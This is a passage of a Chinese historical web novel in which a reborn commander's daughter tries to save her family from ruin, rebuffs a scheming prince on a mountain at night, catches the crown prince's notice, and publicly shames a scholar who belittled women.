“愣着干什么,驾车。”一会儿功夫,从歌愣着一张俏脸掀开帘子,便冲着从欢骂道。 从欢只得憋着一口气,挥动马鞭,驾车从宫门驶出。 “小姐快放下帘子,风寒刚好,可使不得。” 燕晚清看着巍峨宫殿慢慢缩小,眼尾露出一抹意味深长,随后缓缓放下了帘子。 有人国仇家恨,有人儿女情长,都是人,都是选择而已。 此番该说的话她都已经说的很清楚了,剩下的她问心无愧。 马车经过闹市,人声鼎沸,只得缓缓而行。 燕晚清掀开帘子一角,朝外看,接近晌午,暖阳之下,喷鼻饭香,到处都是人世间的烟火气。 前世她周旋于各种阴谋诡计之中,根本没有时间去接触这些。 “小姐可要下去走走?”从歌小声的说道。 燕晚清摇摇头:“算了。”大业未半,她无心人间事。 从歌见她小脸煞白,心里难受又着急,果然刚到了府上,燕晚清就倒下去了。 莲园里的众人又是一阵手忙脚乱,好不容易送走了御医,园子里安静下来,宫里又传贵妃娘娘送来了补品。 听着前院的响动,燕晚清浑浑噩噩的从噩梦中惊醒。 “醒了?” 睁开眼就看见孙氏坐在边上。 燕晚清嗓子发干喊了一声母亲,孙氏直接红了眼圈。 “你今日为何进宫?”孙氏缓缓开口,房屋很静谧,只有蜡烛燃烧发出的噼里啪啦的声音。 燕晚清移开目光:“……母亲因何而问?” 孙氏捏着佛珠的指尖发白,她长叹一口气:“你自小就是个有主意的,但越是这样,我就越怕你出事,你今日进宫到底和贵妃娘娘说了些什么。” “母亲已经知道了,还问女儿做什么。”燕晚清有些不服气。 要说孙氏之前从暗卫嘴里听到那些话感觉到不可思议,但是现在看到自家女儿的表情,此刻更是如坐针毡,好半饷,她才憋出:“……你这些都是猜测!你可知道现在燕家的境地,你说的那些话,会燕家不保,孙家甚至都会连坐!” 燕晚清发白的嘴唇扯出一抹荒凉的笑容,她多希望前世的一切都是自己臆想出来的,可不是,燕孙两家满门抄斩是既定事实,她此刻做出的任何举动,都是在挽回局面。 “母亲,你可信我?”她眼圈发红看着自己的母亲。 孙氏嘴唇颤抖了两下,母女二人无言相望。 按照燕家祖训,她是不能去问暗卫今日燕晚清去宫内做了什么的,但是母女连心,从她风寒好了之后,整个人就变得阴郁不少,自己当母亲的也不是个瞎的,自然看的出来。 今日从宫内回来就病倒了,她怎么能不着急,所以才找暗卫问了一番,谁知道竟然是如此惊天大秘密! 孙氏此番觉得手里的佛珠也不能让她安心了。 “你接下来打算怎么做?”孙氏嗓子梗的生疼问道。 燕晚清眼角猩红,声音沙哑:“母亲只管信我,无需过问太多。” “可要将你院子里的人重新换一遍?” “不用,换了还会被塞人进来,女儿现在大致清楚院子里都有谁的眼线。”燕晚清不想这么麻烦:“老鼠要一窝端的干净,才心里踏实。” 第七章 腹背受敌,大厦将倾 孙氏听罢抿唇,她也不是后院里只会勾心斗角的妇人,心里有天地,燕晚清是自己的女儿,倘若真的说的那些是事实,那么此刻镇守雁门关的丈夫儿子们就凶多吉少……想到这里她面色白了几分。 突然感觉手上一热,看到自己小小纤弱的女儿摁住了她飞快转动佛珠的手。 “母亲,还有一件事。”燕晚清凑近了些压低声音:“女儿身体一直不好,不是因为风寒……是毒。” 最后那个字落下的瞬间,屋内的蜡烛突然发出一声脆响。 “是……”孙氏有些迟疑的看向燕晚清,心里有猜测,但不确定。 燕晚清点头:“是。” “糊涂啊!”孙氏潸然落泪,她反手抓住女儿的双手:“你们父女二人怎生如此糊涂。” 燕晚清露出一抹苦笑,陷入了回忆。 四年前她从塞北回来的路上,不断遭遇刺杀,手段狠辣,招数却不致命,只是想重伤她,越是靠近京城,杀手越多,蝗虫过境,连绵不绝。 她腹背受敌,身边十八名死士死的只剩下一个,最后将她背回了镇国府邸门口。 那一晚镇国公府邸灯火通明,随着一盆接着一盆的血水被丫鬟们端出莲园,大渭那个被百姓敬畏神明的燕晚清随着晨光大量,被直接拉下了神坛。 燕晚清,再也不能习武了! 五年的高光时刻,她像是一道闪亮的流星划过了大渭的天空,最后只剩下一道光晕。 那一年,皇帝高高兴兴的册封她为安平郡主。 高阶之下,父亲燕国忠死死摁住她的肩膀,逼着她低头接下了册封。 父亲说,身为臣子,要忠君报国,君有意,臣知之而行之。 父亲还说,天子怒而天下倾,他们燕家世代纯良,保家卫国,如果不能尽忠尽孝,保护黎民百姓,有违先训。 所以他亲手给燕晚清服下了一味名为千机的毒,一夕之间废掉了她十年寒冬酷暑练就的功夫。 并且告知她,千机的解药只有他有,等待一个合适的机会才会给她。 “什么才是合适的机会?这个老糊涂!”孙夫人气得落泪,她心疼自己的大女儿受了整整五年的苦。 孙氏用帕子擦拭眼角的泪水,强作镇定:“你可有怪过你父亲,都是他愚忠才害得你……” “没有,女儿是燕家人,心里明白。”燕家现在就是皇室的眼中钉,树大招风的道理她怎会不知。 孙夫人鼻尖一酸,又要落泪,赶紧深呼吸一口气站起来:“千机的解药你父亲没有跟我说放在哪里,但是你放心,母亲一定会为你找到解毒的法子的。” “不用母亲,女儿……”燕晚清话还没有说完,孙氏就已经推开门出去了,紧接着从歌就带着丫鬟们进来,给燕晚清安排洗漱了。 燕晚清:“……”她第一次看见孙氏如此风风火火的样子。 很快时间来到了,二月初六。 皇后娘娘每年宴请官宦女眷南山赏梅的日子,往年只有女眷,今年比较特殊,只因秦国派遣和亲的小公主秦舞心血来潮要跟随,皇后娘娘便下密旨给到各家,要求带上家里面的适配男丁,就连平日里忙的脚不沾地的太子殿下都得亲自作陪,可想而知大渭对这个和亲公主有多重视。 官宦人家的男儿各个摩拳擦掌,女儿们也不甘示弱,这是难得一次能见到传闻中仙人之姿太子的机会,可不得好好捯饬自己,争取力压群芳,能入那东宫太子的眼。 所以等那香车云集接踵而至,南山脚下前早就是花团锦簇,争相斗艳的景色了。 燕晚清没赶上,她昨日睡意沉沉,早晨起来身子发重,急坏了院子里的丫鬟婆子,一来二去的,等到晌午的时候,燕家的马车才堪堪到了山脚下,等她们一行人进去的时候,众人都开始吃斋饭了。 “母亲,女儿有些困乏,先去休息了。”燕晚清不饿,南山的斋面堪称一绝,她却压根没有任何胃口。 孙氏见她眼底略带青色,于是心疼的点头:“去吧。” 大女儿哪里都好,就是身子骨弱了些,如果不是当年塞北伤了身子,哪里会等到十九还未曾出嫁,再加上那千机毒……孙氏越想心里越难受,嘴里的面也不是滋味起来。 这京都的好男儿皆在于此,却不知哪个才会是大女儿的归宿。 “姐姐,听闻明日的除旧宴,皇后娘娘下旨让各家年轻一辈都得出席,大小姐养好精神头,晚上才好参加呢。”宋姨娘哪里会不知道孙氏的想法,她说道:“先前跟您一直有书信来往的北疆侯夫人,听说也派了公子过来。” “哦?”孙氏来了兴趣,北疆侯夫人一直都是她的手帕交,只不过远嫁多年未见:“来的是哪个公子,若是怀玉的话,倒是可以见见。” “待会儿便让人去请了过来,姐姐问了便知。”宋姨娘见孙氏不再忧愁,心里松了一口气,于是打趣道:“当年姐姐可是和北疆侯夫人定了娃娃亲呢。” 孙氏想到年轻时的事情,露出些许笑容,显得整个人生动了些许,两个人话又多了些。 门外的从欢却面色沉重。 没有想到大小姐竟然和北疆的小侯爷定过娃娃亲,听说那小侯爷也是个风云人物,这要真是成了,七皇子怎么办?她又怎么办? 为了七皇子的大业,燕晚清说什么都不能嫁给北疆小侯爷,这样想着,从欢赶紧扭过头朝着门口跑去。 她得给七皇子通风报信去! 那边回到厢房的燕晚清却没有立刻休息,她伏在案前涂涂画画,如果有精通国防之人看见,就会认出这是一张雁门关城防图,其中关卡细碎至点心铺子一一都被刻画与纸上,尤其可见构图之人的心思缜密。 哪怕是镇国公燕国忠本人看见,也不得不惊叹一句这图的细致。 燕晚清放下笔,她皱着眉头看面前这张城防图,总觉得哪里不对劲,这是她根据前世的记忆慢慢呈现于纸上的。 前世自己下江南治理水患回来,便收到了噩耗,她万万不信父亲和舅舅连一个小小的雁门关都镇守不住,更加不用说连带着燕孙两家子弟全军覆没了。 所以她便彻夜研究这城防图,上面的一花一树都已经牢牢的刻画在自己的脑海中了。 雁门关易守难攻,到底是什么原因,能让父亲和舅舅带着全部子弟倾巢而出,明知道对方诱敌深入的情况下,也要以身死战呢? 这是一个缠绕在燕晚清两世的问题。 京都在大渭的最南边,雁门关在最北,两城中间隔了不下三座大山,一人一马不吃不喝不睡也得奔驰月余才能到达,正常行驶便需三月余,还只是单行。 这也是为什么燕晚清绝了自己亲临雁门关心思的原因。 一是时间来不及,而是身体不允许,她若是走了,整个燕家就都是老弱病儒、待宰羔羊了。 但即便是这样,燕晚清也想要试试。 她提起笔在小纸条上再三提到穷寇莫追,然后小心翼翼的卷好塞入小拇指半截还不到的竹筒里。 第八章 雁门关,秘不外宣之事 “小姐。”从歌听见燕晚清起身的声音,便推门进来。 燕晚清拉了拉身上的披肩,这山里的温度太低,凉的她的身体不是很舒服。 但是这不是她非要凑赏梅盛宴热闹的原因。 “我出去一趟,你且在这里等着。”燕晚清轻咳一声,又道:“若是有人来了,便说我休息了。” “小姐可是想去见七皇子?”从歌大脑还没有反应过来,脆生生的声音就从嘴巴里出来了,说完她就后悔了。 自己是奴婢,燕晚清是主子,说什么都轮不到自己去问小姐去处的。 燕晚清知道从歌是真心为自己好的,也没有怪罪她的意思,她伸出手拍了拍从歌的肩膀:“我与万空师太有约,莫要担心。” 她说完施施然离开,从歌听到不是去见七皇子心中便安稳了许多,看着燕晚清的背影离开。 “小姐去哪儿?”从欢不知道从哪里窜出来突然问道。 从歌一看见她就没有好脸色:“这也是你一个当下人应该问的!屋子里的炭火怎的如此微弱,冻着小姐仔细你的皮!” 从欢被骂了一脸,心中窝火的很,自从小姐伤寒好了之后,就跟变了一个人似的,说不出哪里不对,但看着就让人发憷。 可惜上次自己传信被从歌逮着机会给小姐告状,导致自己被降为了外屋丫鬟,现在从歌的身份级别高于自己,她只能乖乖做事。 “哼!等小姐嫁给了七皇子,我看你还逞什么威风!”从欢往炉子里加炭火,想到七皇子和自己的保证,她狠狠的歪头瞪了一眼从门口走过的从歌。 …… 燕晚清沿着山路歪歪扭扭走到了一间茅草屋,屋子外石桩上面站立了很多咕咕叫的鸽子,屋内窗台边上闪烁着微弱的火烛。 她上前敲了敲门,不过片刻便有人开了门。 一位全身都是灰扑扑的师太走了出来:“大小姐!” 燕晚清朝着师太行了个礼:“见过青姨。”二人原是旧相识。 续了一会儿旧,她拿出信件交给青姨:“雁门关,还望青姨帮忙,此事须得秘不外宣。” 说到这三个字,一向慈善的青姨也不禁正色点头,她接过信件,亲自去外面找了一只通体灰色的信鸽,送飞出去。 “此去也得三月才有回信。”灰色的信鸽一下子消失在黑幕之下,青姨轻轻开口。 燕晚清点了点头:“晚辈知道。” “大小姐能来找老身,是老身的荣幸,当年如果不是大小姐以身犯险护我夫妻二人,这世间怕是不会有万空这个人了,如此大恩大德,老身没齿难忘,往后原凭大小姐差遣。”青姨夫妻是被燕晚清从战场上救下的敌国上层,她的夫君是当时的军师,她随君从军,后大败被擒,届时她已有身孕,还是燕晚清力挽狂澜送他们夫妇二人离开的。 虽然后来稚子和夫君都因病而死,自己看破红尘上了南山法号万空,但是燕晚清的恩情是在的,如果燕晚清想,她可以联系夫君旧部。 “青姨所言太重,卿之并无她想。”燕晚清却直接婉拒了,她知道今日突然拜访让青姨猜到了什么,但借用信鸽已经是叨扰,再有其他,她心里也过意不去。 从青姨那边回来,燕晚清觉得胸口更加发闷了。 雁门关是死局,京都也是死局,她到底要如何才能在这一捧死灰之下护住燕孙两家? 冷月初上,丛林树影斑驳暗淡,燕晚清不得不打起十二万分的精神,小心翼翼的踩着每一块下山的石块。 担心碰到人,她还特意绕了原路,走了一会儿不禁汗流浃背,只得倚着一块石头休息。 正擦着汗,便听见女子娇俏的声音从不远处传来。 “本公主到底是哪一点配不上太子哥哥?身份地位样貌,放眼天下,本公主也是数一数二的,娶了我,太子哥哥问鼎天下指日可待……” 断断续续的声音隔着丛林传来,燕晚清心中暗道一声不好。 竟然遇到了秦国公主秦舞和当今太子,还是这种当众逼婚的情况。 秦舞说的没错,大渭和秦国联姻百利而无一害,当初萧鸿深也曾对公主动过心思,可惜身份地位放在那里,身为大秦的公主根本不可能找一个宫女生出的皇子。 前世秦舞和亲未有因果,秦国便爆发了政变,她立刻回国镇压,也是当今世上奇女子一位了。 只是前世并没有传出公主心怡当朝太子的风声,燕晚清心生好奇,便立在原地静静的听。 “……这天下孤想要会自己取,不牢公主费心。”空隙间,低沉的男声缓缓传来,语气慵懒,字里行间充斥着与生俱来的霸气。 秦舞显然是被这句话刺激到了,她好歹是一国公主,如此公然坦白心意,竟被拒绝,一时之间她很是恼火。 “萧蘋风你果真倨傲清高,难怪陛下对你不喜,你可知你的兄弟们如何对本公主献殷勤的,如若真在其中选择一位,只怕你东宫之位不保!” “你试试。”萧蘋风似乎是听到了什么笑话,语气也跟着轻蔑起来。 秦舞气急:“……我到底哪里不好?” “你好与不好,跟孤有什么关系?”萧蘋风漫不经心道:“还是公主以为,天下男子都该跟狗一样跟在你身后献殷勤?” “身为太子,你怎生言语如此粗鄙——”秦舞简直不敢相信自己的耳朵,外界传言大渭太子丰神俊朗,神仙下凡,今日一见竟是这般嘴脸,真是白瞎这张脸。 萧蘋风没了耐心,如果不是皇后非要他礼待这位秦国公主,他就开骂了。 “秦舞。”萧蘋风突然喊出声。 秦舞被突然喊了名讳,一时之间呆愣原地。 只见那草木映衬之下的美男子,冷眸扫过来:“闲着没事,多照照镜子。” 只见他大步走过来,与她擦肩而过。 可怜的秦国小公主甚至还听见他离去之时的唾弃:“……笑死。” 看着他的背影,秦舞急了:“这天底下究竟哪种女子才能入了你的眼?!”她有公主的骄傲,势必要问个清楚明白。 怎料,那男子头也不回:“反正不是你这样的。”那声音爽朗,绕山林三尺上空不绝。 燕晚清眼睁睁的看着秦舞哭的跟个泪人一样,跑下了山。 第九章 软的不行,那就只能来硬的了 百闻不如一见,大渭宛若神明的太子殿下,背地里竟然是如此恶劣的性格。 真是让她大开眼界,只不过她也好奇,秦舞这般有身份有姿色的女子都可以眼睛不眨的拒绝,天底下当真还有女子能够入这位爷的眼? 回忆前世太子直至死在战场,都未曾听闻有哪个女子入住东宫。 像他这样血气方刚年纪,若非断了七情六欲,否则怎会不沾染一丝女儿香? 此时山涧中溪水反射冷月光,波光粼粼。 一时之间,空旷山林之下便只剩下了燕晚清一个人。 将披风裹紧了些,她再待一会儿离开,免得路上再碰到其中的一位。 只是她没有想到,萧鸿深竟然找到了这里来。 眼见着一人从山间小道奔来,燕晚清忍不住捏紧了手腕,指甲陷进了肉里,她也浑不自知。 “远远的瞧见了很像,没想到真是。”那人走到了燕晚清面前站定,声音温柔至极:“郡主,好久不见。” 竟然是七皇子,萧鸿深。 燕晚清凝视面前人,隔了一世,再见到他,本以为会恨不得啖其血肉,搓其骨灰,可是她的心却在猛烈跳动后归于了平静。 愤慨不会成就任何事情,而冷静可以。 燕晚清收起眼中的恨意,甚至扬起了一抹微笑:“见过七皇子。” 见她只字不提自己爽约的事情,萧鸿深眼中闪过了一丝狠厉,但是很快被他掩盖下去。 “山路不好走,郡主一人多有不便,本殿送送郡主。”他侧过身让路。 燕晚清却不动:“孤男寡女,多有不便,七皇子还是先行一步吧。” 萧鸿深对于燕晚清的拒绝并没有放在心上,她本就是寒山雪莲,难以亲近,只是想到从欢送来的消息,他又不得不多了几分心思,所以这才提前找了过来。 自己对燕晚清费了好一番功夫,这即将到手的鸭子万万不能便宜了别的人。 于是他露出一脸悲伤的神情。 “晚清何故对本殿如此冷漠?可是近来本殿做错了什么事情……” “殿下自重!”燕晚清低头退后一步:“臣女谨遵陛下圣言,对诸位皇子传道授业,若非学业困惑之事需要请教臣女,还望七皇子殿下恪守纲常,谨遵伦理。” 萧鸿深闻言愣了一下,他微微蹙眉,往常燕晚清是很吃这一套的,今日这是怎么了? 难道是真如从欢所言,燕家有意和北疆侯联…… “殿下没有什么事情的话,臣女便先行告退了。”燕晚清微微颔首,侧开身子往山下走去。 她丝毫没有注意到身后的萧鸿深目光越发讳莫如深。 “昔日本殿托了郡主的福,能够和诸位兄弟一起上课,逐渐露于人前……”萧鸿深缓缓说道。 燕晚清身形一顿,暗叫不好。 “郡主对本殿有恩,本殿莫不敢忘,可是……”萧鸿深大步上前,一把抓住燕晚清,将她转向自己,声音紧跟着阴郁:“救人救到底,送佛送上西,郡主给了本殿一丝希望,继续给本殿全部光明又有何不可?” “松手!”燕晚清只觉得肩头被捏的生疼,水眸冰冷下来:“七皇子殿下慎言。” 升米恩斗米仇,用来诠释萧鸿深最恰当不过了。 “燕晚清,你是本殿的,本殿决不许你和北疆侯联姻,你休想!”萧鸿深红着眼睛威胁道。 此言一出,燕晚清的脸色也毫不掩饰的阴沉下来。 她在想,此时让暗卫杀了萧鸿深,自己能有几分胜算洗清嫌疑。 杀了他,自己便能报仇雪恨…… 杀了他,前世因果便都有了定数…… 杀了他,杀了他! 燕晚清低垂的眼眉逐渐染上血色,清澈的眸子也越发幽深肃杀。 就在她抬手欲要让暗卫动手时,一声树枝被踩断的声音从后方响起。 “谁!”萧鸿深宛如惊弓之鸟,直接弹开。 燕晚清将披风的帽子迅速盖在头上,转过脸去。 只听见那人慵懒的踩着石阶而来,声音低沉优雅:“七弟好雅兴,也是来赏月的?” 这声音! 燕晚清身子一僵,竟然是太子!眼中杀意迅速褪却干净。 他不是走了么?怎么会出现在这里?! 萧鸿深也没有想到会被太子撞见,心里咯噔一声,面色苍白如纸,不过一瞬间,他想到了一条毒计。 “今晚的月色确实美妙,臣弟一时情不自禁,让皇兄看了去,明日臣弟便去禀告母后,求母后赐婚。” 燕晚清气得牙痒痒,脑海中闪过无数念头,她掐了一下自己的大腿,转过身朝着萧蘋风扑了过去:“求太子殿下为臣女做主!” 却不想山路嶙峋,关键时刻左脚踩右脚,眼看着就要摔下去,她出于本能拉住了眼前人的衣襟。 好险! 燕晚清站定脚,顾不得头顶上太子深邃的目光。 她直接跪在了地上,眼角瞬间红了一圈,串串泪珠顺着瓷白的脸颊淌下,声音哽咽道。 “臣女受陛下恩典,得幸教导诸位皇子,也算是七皇子的恩师,却未曾想到他如此张狂,竟然拦臣女欲要行不轨之事,我燕家男儿悉数镇守雁门关,赤诚之心,天下可鉴,七皇子萧鸿深此番行径为人不齿,事关臣女清白,求太子殿下替臣女做主!” 她跪的结实,声音传到萧蘋风的耳朵里,让他眉头微微上挑了一下。 萧鸿深没有想到她会直接选择鱼死网破,一时之间也急了。 “请皇兄明察,此处偏僻,若非她自愿前来,臣弟又怎可与之相会——” “够了。”萧鸿深还要继续说什么,萧蘋风却懒得听了,他懒懒的扫了他一眼:“七弟慎言,燕家满门忠贞,郡主更为我大渭鞠躬尽瘁,这种事情哪怕是闹到父皇那边,也是不好看的。” “这南山环境雅静,七弟既然心思浮躁,便在此处多待些时日,抄抄经书吧。” 燕晚清没有想到,太子会替自己说话。 太子一言,自然是要谨记于心的。 此时萧鸿深只得死咬住下唇,多说无益,应了一声:“诺。”然后拜谢离去。 燕家和自己这个不受宠的皇子,身为储君的太子自然是知道怎么选择。 心有不甘的萧鸿深走的时候,回眸那抹跪在地上的倩影,冷笑一声,才头也不回的转身。 既然软的不行,那就只能来硬的了。 第十章 孤的墙角都敢听,你还有什么不敢的 等到萧鸿深走的没影子了,燕晚清还听不见太子让自己起来的声音,她低着头轻轻说道:“多谢太子殿下替臣女做主,夜深露重,恭送殿下回程。” 面前那双紫金蟠龙的靴子却不动。 燕晚清心中忐忑,前世今生,这算是她为数不多和太子打交道的机会,她本意是存了和太子交好的心思,但是万万没有想到,重生后的第一次见面竟然会在这种场景。 “你这是在赶孤走?”桀骜不驯的男音缓缓响起。 燕晚清心里一咯噔,想到了他刚刚拒绝秦国公主的模样。 大意了,这位爷,有两幅面孔,轻易不能得罪。 “臣女不敢。”她温吞摇头。 “不敢?”只听见男人轻哼:“连孤的墙角都敢听,还有什么事情是你燕晚清不敢的。” 燕晚清心中最后的一丝侥幸消失了。 果然还是被发现了。 此时身为太子的萧蘋风不是很高兴。 眼前这个看似尊敬的女人,利用完自己,竟然就想赶他走,世界上哪里有这么便宜的事情。 “臣女不敢,天下之大莫非王土,殿下是未来储君,给臣女一万个胆子也是万万不能做出赶殿下走这样的事情的,至于今晚的事情……实属巧合,殿下爱民如子,定是不会与臣女计较这些的。” 燕晚清斟酌字句,缓缓说道。 冷不丁下巴被冰凉的指尖挑起,她猝不及防的撞入那男子深邃的眼眸中,心跳慢了半拍。 “七弟看似清心寡欲,实则不择手段,你可有对策?”萧蘋风听不出情绪的嗓音响起。 燕晚清心中叫苦不堪,跪的双膝麻木钝痛,还得分心应付这位阴晴不定的爷。 硬着头皮答道:“臣女虽是大渭的郡主,身份地位却不如皇子们尊贵,七皇子若是真想要动强,臣女……”她停了下来。 下巴上的力度加重了些,男人重重的哼了一声:“嗯?” 只见月光之下,美人轻咬贝齿,清澈的眼眸中都是倔强:“臣女宁死不屈。” “真有出息。”桎梏她的手被主人收了回去,燕晚清刚要松一口气,紧接着被一股大力扶起,她一时不备,双腿酸软,结结实实的摔在了他的怀中。 “六年前鲜衣怒马只身立于阵前的安平郡主,此时竟然也小心谨慎知道权衡利弊了。”头顶上方冷不丁传来这么一句。 燕晚清感受着扣住自己细腰的大手,强壮有力,白皙的面庞都是不知所措。 “看着孤,说话。”似乎不满足她的沉默,太子微微皱眉。 燕晚清被迫抬头对视,目光落在太子完美继承先后完美容颜的面庞上,心里翻江倒海。 这位爷又是怎么了? “臣、臣女不知道说些什么。”在未能明白这位爷心里究竟想什么之前,燕晚清不打算轻易开口。 “燕晚清。” 她听见自己的名字,从他的唇瓣吐露出来,双臂忍不住惊起一层鸡皮疙瘩。 “臣女在。” 太子一双深不可测的眸子落在她姣好的面庞上,蓦地勾起唇角,邪肆的笑了一下。 “你腰真细。” 燕晚清蓦地捏紧了拳头:“太子殿下自重!” “没劲。”太子轻哼一声,松开了手,指腹轻轻摩挲,似乎还在回味刚刚的触感。 看的燕晚清咬紧了后槽牙。 “走吧,下山了。”太子爷心情颇好率先走在前面,她只得紧跟其后,二人不再言语,下山之后,分道扬镳。 …… 燕晚清一晚上耗费了不少心神,回来洗漱后,躺下便睡着了,只是她睡得不踏实,遇见萧鸿深这件事情,勾起了她前世的回忆,梦里族人哀嚎痛诉,让她忍不住流出了无助的泪水。 次日醒了之后,勉强用了斋饭便被孙氏喊了过去。 “整日里便穿的这么素净,连个簪子配饰都不带。”孙氏说着,从自己的发髻上摘下一根玛瑙发簪插在了自己女儿头上,看着人比花娇的她,这才满意的点了点头。 “这次赏梅宴,北疆侯爷的小世子也来了,你们小时候见过,可记得?”孙氏一边说,一边打量着燕晚清的脸色。 燕晚清昨日便从萧鸿深的嘴里听说了这回事,今天再听已经毫无波澜。 她微微勾唇:“北疆地处偏远,小世子难得来一次,等回到了京都,母亲放心,女儿一定尽地主之谊。” 孙氏听了,心里这才稍微松了一口气。 还好,女儿不抵触。 如果姻亲的对象是北疆,孙氏心里定是放心的,只不过唯一不好的就是北疆地处偏寒,来返京都得需足足两月,燕晚清如果嫁过去,只怕未来的日子里见少离多了。 母女俩正说着话,外面突然一阵吵闹。 苏嬷嬷疾步走了进来:“夫人,大小姐,五小姐和人打起来了。” 孙氏错愕:“和谁?” “前些时日上门提亲的探花郎王家公子。” 燕晚清轻叹一口气,起身:“母亲放心,我去瞧瞧,五妹向来不与人交恶,定是有什么缘由。” 孙氏点头:“这毕竟是皇后娘娘举办的宴会,你妥善处理便是。” 燕晚清应了是,便带着从歌往外走,路上遇到站在墙角的从欢,她淡淡的扫了一眼,便收回了视线。 从欢恨不得将自己缩回墙缝里,但见大小姐只是看了自己一眼并没有说什么,她才稍稍松了一口气,只是这浑身上下还是难受的很,在燕家的院子里如坐针毡。 也不知道昨夜七皇子谈的怎么样了…… 大佛堂的外围有一处宽阔的场地,周边种了些松柏,此时正是翠绿葱郁的时候。 此时场地里三圈外三圈围着不少人,男男女女的都有,都是来看热闹的。 燕晚清站在人群外,只听见五妹红昭倔强的声音。 “我没错!是他先出言不逊……” 还有王书剑刻薄的声音:“五小姐公然殴打探花郎,还自认没错,莫不是仗着燕家功勋在身,便不把我们这些寒门学子放在眼里……” “王书剑你还敢说!”燕红昭手持长鞭又要上前,被身边的嬷嬷死死拉住,她气愤不已:“他就是在胡说八道,我根本没有。” 燕红昭不善与人争辩,而王书剑巧巧舌如簧,被他气得小脸通红。 嬷嬷眼尖看见人群外面的燕晚清,连忙拉着燕红昭说道:“大小姐来了。” 第十一章 她自己能处理,为何要管 燕家大小姐,那不就素有女诸葛美名的安平郡主燕晚清么。 众人一听,迅速让开队伍。 只见今日的燕晚清一袭青衫颇为素净,面巾遮面,只露出盈盈双目,仍依稀可见其姣姣之姿。 “大姐!”燕红昭见到燕晚清,瞬间红了眼圈,走过来挽住她的胳膊。 燕晚清轻轻拍了拍她的手,安慰道:“别怕。” 有了这句话,燕红昭原本气愤浮躁的心瞬间平静下来。 大姐来了,她便有了主心骨。 “发生了何事?”燕晚清的声音很清澈,语速不快,让人很舒服。 嬷嬷便将事情的经过讲了个清楚。 原来是燕红昭和玩伴嬉闹,谈到了女子能否入朝堂入战场,燕红昭便说自己要效仿长姐,往后为天下太平贡献自己的力量,正好遇到了王书剑之流,含沙射影,说女子天生便是要相夫教子的,抛头露面的都不能算是正经女人,燕红昭气不过便与之吵了起来,之后愈演愈烈,在王书剑的言语挑衅中大打出手。 燕晚清了解了事情的经过,一双美眸便落在了王书剑的身上。 她心中冷笑,想来是前些时日给的教训还不够,这等跳梁小丑还敢再来招惹五妹。 “郡主来了刚好,我王某虽一介草衣,也不该受此屈辱,请郡主给我们一个交代,给天下人一个交代!”王书剑见燕晚清来了,当下死咬不放。 燕晚清侧眸看过去:“你想要本郡主给你个交代?” 不知死活的东西。 王书剑仗着自己被打,占上风:“郡主乃是莘莘学子心之所向,令妹大打出手,如何不需要给我等一个交代。” “好。”燕晚清眼眸微敛:“本郡主便给你们一个交代,但在此之前,本郡主也有个问题想要问问王探花。” 王书剑本想拒绝,可是众目睽睽之下,只得:“……郡主请问。” “生于忧患死于安乐,享太平之盛世,忧天下之黎明,是天下人之责,当须徇忠义,身死报国恩。”燕晚清盯着王书剑:“本郡主问你,是也不是?” 王书剑紧皱眉头:“……自然是。” 燕晚清勾唇:“既然如此,车贩走卒,商贾工农乃至世家大族皆为天下人,是也不是?” “……是。”王书剑无法辩驳。 “既是敢为天下先的大义,那为何探花郎要将其分成三六九等,男女之别,莫非在你等儿郎心里,女子便不配忠肝义胆,以身报国?”燕晚清娓娓道来,眼神冰冷。 “我,我不是这个意思……”王书剑骤然对上那双水眸,被里面的肃杀吓得踉跄几步,竟然摔倒在地,狼狈至极反驳。 “好大的胆子!在安平郡主面前竟敢自称是我!”从歌抓住机会娇声呵斥道。 王书剑额头上冷汗直冒,那日在燕家,这位安平郡主果然是留手了,今日正面交锋,根本不敢直视其眸。 “小民不敢,请郡主恕罪,小民不过是一时兴起和五姑娘玩闹论辩……” 燕晚清抬脚缓慢走过来,她居高临下。 “本来你们年轻人论辩本郡主不该参与进来,可王书剑你以论辩之由妄图踩在本郡主头上评判天下女性,那就是你的不对了。”燕晚清声音很低,在场的人全部洗耳恭听:“本郡主十岁亲上战场,保家卫国的时候,尔等还在缠着娘亲要吃食呢。” 王书剑面色灰白,燕晚清的言下之意他如何听不明白。 她的十岁,是他们穷极一生都追不上的至高荣耀。 燕晚清今日羞辱的不仅仅是他,而是每一个不尊重女子的男子! “好!”人群之中不知道是哪家小姐最先喊出声,紧接着更多世家小姐跟随鼓掌。 她们眼神炙热,双眸含泪。 她们从小都是被父辈兄长要求熟读女德女戒,要求她们温婉贤淑,却从来没有人要求她们做自己。 “女子凭什么不能以身报国,女子凭什么不能上战场!你们男子做得了的事情,我们女子同样可以!”燕红昭此时心里有了底气,她声音洪亮的说道。 在她的声音之下,更多的世家小姐义愤填膺。 “对!男子做得的事情女子也做得!” “朝堂若是开放女子科考,只怕满朝文武皆是红英!” “你们这些男子加起来都不上安平郡主,还有脸在此叫嚣,滚出去!” “滚出去!滚出去……” 事情不仅没有因为燕晚清的到来息事宁人,反而愈演愈烈。 她站在人群中,脸蒙轻纱,一双沉静的水眸深处,此时已经是惊涛骇浪。 “求——!”王书剑率先跪地:“求郡主殿下责罚!” 事态如此严重是他没有想过的,在座的世家女子皆有可能是他往后的良配,此时他落到这个地步,对他往后的发展影响严重。 要知道他现在还是个一官半职都没有的平民啊! 这要是闹到了陛下耳中,陛下会如何看他……王书剑这回是真的慌了。 他以为燕晚清这样的人物,从来都是天下读书人的典范,根本不会耽于口舌之快,与他们这等人争辩。 可是他错了,燕晚清不仅争了,还以文人墨客的方式将他们骂的狗血喷头。 此时若是再不及时收手,只怕会惹来更多祸端。 燕晚清见王书剑等人跪的快,跪的结实,心中冷笑。 想要息事宁人,她偏偏不。 争则生,避则死。 这趟浑水,她势必要搅弄的天翻地覆。 此时不远处玉兰树下。 一袭绛紫暗纹的男人欣然而立。 “前面发生了什么。” 身边的消息灵通的小太监立马将事情前因后果说了清楚。 男人闻言微微勾唇:“她当真如此?” 小太监点头:“不光如此,郡主似乎动了怒。” “跟个小猫似的。”昨夜里软糯谨慎的燕晚清,到了白天倒是能够张牙舞爪咬人了。 萧蘋风又远远的扫了一眼,人群中只能看见一抹倩影,实在看不真切。 “走吧。”萧蘋风抬脚,小太监却不解:“殿下不管管?” 萧蘋风头也不回:“她自己能处理的事,孤为何要管?” 第十二章 唇枪舌剑,谁与争锋 小太监低下了头颅,跟在了自家太子身后,一行人朝着远处的梅花林走去。 女子们义愤填膺,男子们主动抱团,他们虽然不齿王书剑的行为,可也不认同女子们此刻说出的话语。 什么叫做要是朝堂开放女子科考,满朝皆是红英。 这种话说出来,无疑是在挑衅他们身为男子的尊严。 